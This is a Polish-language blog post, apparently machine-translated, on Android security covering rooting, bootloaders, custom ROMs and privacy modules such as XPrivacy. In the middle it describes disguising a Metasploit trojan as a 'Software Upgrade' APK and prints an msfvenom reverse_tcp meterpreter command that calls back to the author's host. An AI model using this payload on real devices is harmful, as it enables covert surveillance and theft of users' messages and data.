Źródło obrazu: pixabay.com

Wprowadzenie do Androida

W tym temacie poznamy system Android i zabezpieczenia Open Source (OS). Android to platforma typu open source. Jest bardzo podobny do Linuksa, ale wciąż zdecydowanie różni się od Linuksa. Linux jest zdecydowanie zbyt dojrzały w porównaniu do Androida. To jest Chetan Nayak i witam na moim następnym blogu w Open Source Web Security. Napisałem ten blog, zakładając, że większość z nas będzie korzystać z Androida K, tj. Kitkat lub Android L, tj. Lollipop.

Powodem jest to, że Gingerbread i Jellybean miały wiele problemów bezpieczeństwa open source, których nie mogę omówić na tym jednym blogu. Może więc omówię to następnym razem, gdy zagłębię się w starsze wersje Androida. Na razie trzymajmy się KitKata i Lollipopa.

Android został zaprojektowany z myślą o programistach. Kontrole bezpieczeństwa zostały zaprojektowane w celu zmniejszenia obciążenia programistów. Rozumiejący bezpieczeństwo programiści mogą łatwo pracować i polegać na elastycznych kontrolach bezpieczeństwa. Programiści mniej zaznajomieni z bezpieczeństwem będą chronieni za pomocą bezpiecznych ustawień domyślnych.

Początek

Nie bardzo interesowałem się Androidem do późniejszego kwartału 2013 r., Kiedy miałem swój pierwszy telefon z Androidem, którym była Sony Xperia L (na podstawie 4.2.2). Cholera, nawet nienawidziłem Androida, ponieważ był wyjątkowo leniwy, zwłaszcza na urządzeniach Samsung. Zastanawiałem się wtedy nawet nad zakupem Windows Lumii, ale na szczęście grałem w wiele gier i musiałem kupić Xperia L, ponieważ ta komórka była Lag Proof. Miał około 1 gigabajt pamięci RAM i Adreno 305. Wystarczająco fajny, by cokolwiek uruchomić.

Po graniu w wiele gier, takich jak NOVA3 i ModernCombat4, znudziłem się tą komórką w ciągu miesiąca. Wiedziałem, że Android jest oparty na Linuksie i chciałem wprowadzić na nim kilka modyfikacji. Zacząłem czytać o dostosowaniach i dowiedziałem się o tak zwanym „rootowaniu”. Ponieważ miałem dobry backhand w Linuksie, rootowanie nie stanowiło dla mnie problemu. Przy odrobinie pomocy XDA udało mi się zrootować moją komórkę.

Ale wtedy coś mnie uderzyło. Gdy tylko moja komórka zrestartowała się po zrootowaniu, po prostu zaczęła się zapętlać (utknęła na ekranie rozruchowym na zawsze). Nie wiedziałem nawet, co to jest bootloader w Androidzie. Nic więc nie mogłem zrobić. Minął zaledwie miesiąc od zakupu mojej nowej komórki, a teraz moja komórka była miękka. Zawsze czytam, że rootowanie jest niebezpieczne, ale nie wiedziałem, że zniszczy moją komórkę. Ale byłem w błędzie. Gdy czytałem jedno i drugie na temat rootowania, dowiedziałem się, że rootowanie nie blokuje telefonu.

Rootowanie jest po prostu podobne do dostępu administracyjnego na komputerze (w rzeczywistości jest to dostęp systemowy, ale napisałem dostęp administratora, więc łatwo jest go zrozumieć dla noobów). Oznacza to, że rootowanie nigdy nie zepsuje twojego telefonu. To właśnie bootloader zniszczył mój telefon. Dla ludzi, którzy nie wiedzą, bootloader jest; bootloader jest podobny do BIOS-u w systemie Windows. (Jeśli nie wiesz, co to jest BIOS, to nie powinieneś nawet czytać o myśleniu o bezpieczeństwie). Bootloader lub Hboot (tak to się nazywa w Androidzie) to pierwsza rzecz, która działa po uruchomieniu Androida urządzenie.

Zawiera instrukcje uruchamiania jądra systemu operacyjnego, a większość z nich jest specjalnie zaprojektowana do uruchamiania własnego środowiska debugowania lub modyfikacji.

Security CheckPoint systemu Android

Pomyśl o bootloaderze jako o punkcie kontrolnym bezpieczeństwa twojego urządzenia. Jeśli złamiesz ten punkt kontrolny, stracisz wszystko, co masz w telefonie. Mówię więc, że jest to dobra funkcja bezpieczeństwa. Ponieważ jeśli stracisz telefon, a ktoś spróbuje uzyskać dostęp do konta root, aby ominąć blokadę (zakładając, że zablokowałeś urządzenie kodem PIN lub hasłem), to on obowiązkowo będzie musiał odblokować bootloader, co spowoduje usunięcie twoich danych na telefonie.

Więc nie musisz się martwić, że ktoś nadużyje tego. Podobnie jest w przypadku niestandardowych ROM-ów. ROM to systemy operacyjne oparte na wersjach Androida specjalnie zaprojektowanych dla Twojej architektury sprzętowej. Tak więc, jeśli sprawdzisz na XDA, na swoim telefonie będziesz mieć n niestandardowych pamięci ROM dla swoich telefonów, z których niektóre z najbardziej znanych to ROMy Cyanogen Mod, które są już wstępnie zrootowane i mają wstępnie zdefiniowany zestaw dostosowań .

Bezpieczeństwo OverRide Androida

Na razie możesz myśleć, że masz bezpieczny telefon komórkowy. Ale jestem tutaj, aby ponownie udowodnić ci, że się mylisz i to jest sedno tego bloga. Do drugiego kwartału 2014 r. Ludzie zaczęli już opracowywać exploity i rootkity dla Androida, które mogłyby zrootować twoje telefony komórkowe nawet bez odblokowywania bootloaderów.

Nie wystarczająco przerażające? Pozwól, że powiem ci najbardziej niebezpieczną część. Mogą nawet instalować trojany. Tak więc, nawet jeśli gliniarze mogą wyśledzić komórkę, a ty nawet odzyskasz komórkę, nadal istnieje wysokie ryzyko, że zobaczą wszystko, co robisz w telefonie. Jest to coś, czego próbowałem jako eksperyment w rzeczywistym praktycznym środowisku.

Użyłem Metasploit do tego ataku. Stworzyłem trojana i zainstalowałem go w telefonie docelowym. To był prosty plik apk i nazwałem go Upgrade oprogramowania. Tak więc, jeśli użytkownik jest zwykłym człowiekiem z tylko bitami i bajtami informacji o bezpieczeństwie, nawet nie odważy się go usunąć. I upewniłem się, że za każdym razem, gdy aktywowany jest Internet, stworzone przeze mnie złośliwe oprogramowanie automatycznie uruchamia się i łączy z powrotem z moim zdalnym portem na hoście.

Do ataku wykorzystano następujące polecenia (Metasploit to oprogramowanie do testowania penetracji, które pomaga w sprawdzaniu podatności na platformie lub określonych urządzeniach).

Mój adres IP hosta: 192.168.xx.xx

Mój port hosta (do ponownego połączenia): 445

>>>msfvenom

>>> msfvenom android / meterpreter / reverse_tcp LHOST = 192.168.xx.xx LPORT = 445> SoftwareUpgrade.apk

Więc tutaj utworzyłem zwrotny kanał TCP na moim komputerze. Za każdym razem, gdy internet uruchamia się na Androidzie, otworzę powłokę na mojej maszynie Kali lub maszynie, na której zainstalowałem Metasploit.

Więc teraz wiesz, jak straszne jest to dla osoby, której nawet nie znasz, ma rejestr każdej transakcji, którą robisz za pośrednictwem swojej komórki, każdego innego kontaktu, wiadomości WhatsApp, SMS, Viber i dziennika połączeń Skype i wszystko. Jeśli to nie jest przerażające, to nie wiem, co jest.

Polecane kursy

  • Kurs certyfikacji z debugowania w języku Ruby
  • Ukończ kurs MySQL PHP
  • Kurs certyfikacji online z programowania VB.NET
  • Kurs online na temat Fundacji ITIL

Pokrycie

Dość o kwestiach bezpieczeństwa. Wszyscy wiemy, że każda inna platforma ma problemy z bezpieczeństwem. Jak więc możemy być bezpieczni? To nie do końca prawda. Platformy można zabezpieczyć do określonego punktu, ale potem do nas należy upewnienie się, że tak pozostanie. W świecie bezpieczeństwa jest niesławny cytat:

„Inżynieria społeczna: ponieważ nie ma łaty na ludzką głupotę”

Słyszałem to zdanie dawno temu, kiedy oglądałem Konferencję DefCon.

Kiedy nie ma technicznej luki w zabezpieczeniach, powinieneś spróbować zhakować ludzi. I przez to nie mam na myśli hipnotyzmu i tak dalej. Mam na myśli inżynierię społeczną. Możesz przeczytać mój inny blog „Znaczenie bezpieczeństwa cybernetycznego w naszym codziennym życiu”, aby uzyskać więcej informacji na ten temat.

Podstawowa funkcja bezpieczeństwa Androida

Poza tym inżynieria społeczna, którą można rozwiązać tylko wtedy, gdy jesteś sprytny; istnieją sposoby, w jaki sposób można bezpiecznie tworzyć aplikacje na Androida, aby mieć pewność, że tak pozostanie.

Oto niektóre z podstawowych funkcji bezpieczeństwa, które pomagają tworzyć bezpieczne aplikacje:

  • Piaskownica aplikacji na Androida, która izoluje dane aplikacji i wykonanie kodu od innych aplikacji.
  • Struktura aplikacji z solidnymi implementacjami typowych funkcji bezpieczeństwa, takich jak kryptografia, uprawnienia i bezpieczne IPC.
  • Zaszyfrowany system plików, który można włączyć w celu ochrony danych na zagubionych lub skradzionych urządzeniach.
  • Przyznane przez użytkownika uprawnienia do ograniczenia dostępu do funkcji systemu i danych użytkownika.
  • Zdefiniowane przez aplikację uprawnienia do kontrolowania danych aplikacji dla poszczególnych aplikacji.

Co możesz zrobić, jeśli chcesz bezpiecznego środowiska, ale nie jesteś programistą?

Począwszy od systemu Android 5, tj. Lollipop, zapewnia on funkcję, w której użytkownik może dodawać wiele profili i trybów ograniczonych do korzystania z telefonów i tabletów. Poza tym, jeśli zrootowałeś swój telefon, w modułach Xposed, takich jak AppOps, Xprivacy lub Privacy Guard, znajdują się aplikacje na Androida, które pomogą ci zająć się prawie wszystkim. W tym celu musisz zainstalować Xposed Framework.

Xposed Framework umożliwia pracę modułów Xposed. Moduły Xposed pozwalają zmienić zachowanie plików Apk i plików systemowych bez potrzeby instalowania innej pamięci ROM. Łatwo jest również cofnąć zmiany, więc nie ma tutaj większego ryzyka i nie jest to nawet czasochłonne, ponieważ nie trzeba flashować wielu ROM-ów, jąder i ich poprawek.

Xprivacy, Privacy Guard i AppOps to moduły narażone, które pozwalają zabezpieczyć Androida, wybierając aplikację, która powinna mieć dostęp do takich elementów jak Internet, klawiatura, karta SD, dostęp do katalogu głównego i wiele innych rzeczy. Możesz nawet wyłączyć dostęp tylko do określonych usług i utworzyć szablony zdefiniowane przez użytkownika. Jeśli chodzi o mnie, wolę wybrać Xprivacy. Ale oto kilka informacji lub różnic, jeśli zaczniesz się różnić, wybierając jedną z powyższych trzech.

AppOps:

Zostało to pierwotnie wprowadzone przez Google w Androidzie 4.3. (To jest główny powód, dla którego go nie obsługuję. Nie ufam Google. Nazwij to Paranoią, ale Google śledzi wszystko, co robisz. I nie potrzebuję nikogo, kto by śledził wszystko, co robię, ale jeśli ufasz Google, idź po to.). Głównym ograniczeniem AppOps jest to, że Google pozwala blokować dostęp tylko do tych aplikacji, które chce zablokować.

Oznacza to, że jeśli chcesz zablokować aplikacje związane z Google, takie jak Usługi Play (które faktycznie zużywają ponad 50% normalnej pamięci, baterii i danych (internet)), nie będziesz w stanie. To kolejny powód, dla którego nienawidzę Google. Uważam więc, że AppOps to dla mnie nic innego jak złośliwe oprogramowanie. (ale to tylko ja tak myślę, to nie jest to, jeśli ufasz wyłącznie Googleowi)

Ochrona prywatności:

Privacy Guard to prosty w użyciu interfejs stworzony w zamian za AppOps przez Cyanogen Mod. Jeśli jesteś początkujący, sugeruję skorzystanie z tego, ponieważ ma on tylko przełącznik włączania i wyłączania oraz szablony określające, która aplikacja powinna mieć dostęp do tego. Nie jest to bezpieczne, jeśli istnieje złośliwe oprogramowanie, które działa lub podszywa się pod aplikację systemową. Ale dobrze jest zacząć.

Xprivacy:

Xprivacy to narzędzie typu „wszystko w jednym”. Ale jest przeznaczony dla ekspertów. Możesz to porównać ze szwajcarskim scyzorykiem. Ma w sobie wszystko i może zabezpieczyć telefon pod każdym innym względem, ale jeśli nie wiesz, co robisz, to tylko zepsuje telefon i zatrzyma aplikacje od samego początku. Możesz także ograniczyć dostęp do aplikacji systemowych. Ten osobiście wolę wybrać.

Oprócz powyższych modułów istnieją jeszcze inne moduły, takie jak Lightening Firewall lub BootManager w Xposed, które mogą pomóc ograniczyć dostęp do Internetu dla określonych aplikacji i zatrzymać uruchamianie aplikacji obok systemu podczas ponownego uruchamiania telefonu.

To by było na tyle na tym blogu. W przypadku problemów związanych z bezpieczeństwem z pewnością możesz odwiedzić witrynę XDA lub zostać członkiem tej witryny, która może zapewnić Ci znacznie więcej informacji na temat prywatności.

Polecane artykuły: -

To był przewodnik po Androidzie. Tutaj omówiliśmy Podstawową koncepcję, Punkty kontrolne bezpieczeństwa i Podstawową funkcję bezpieczeństwa Androida. Możesz także przejrzeć nasze inne sugerowane artykuły, aby dowiedzieć się więcej -

  1. Pytania do wywiadu na Androida - 10 najważniejszych przydatnych pytań
  2. 8 Przydatnych alternatyw Siri dla Androida
  3. 28 najlepszych porad i wskazówek dotyczących narzędzi programistycznych dla aplikacji na Androida
  4. Kariera w rozwoju Androida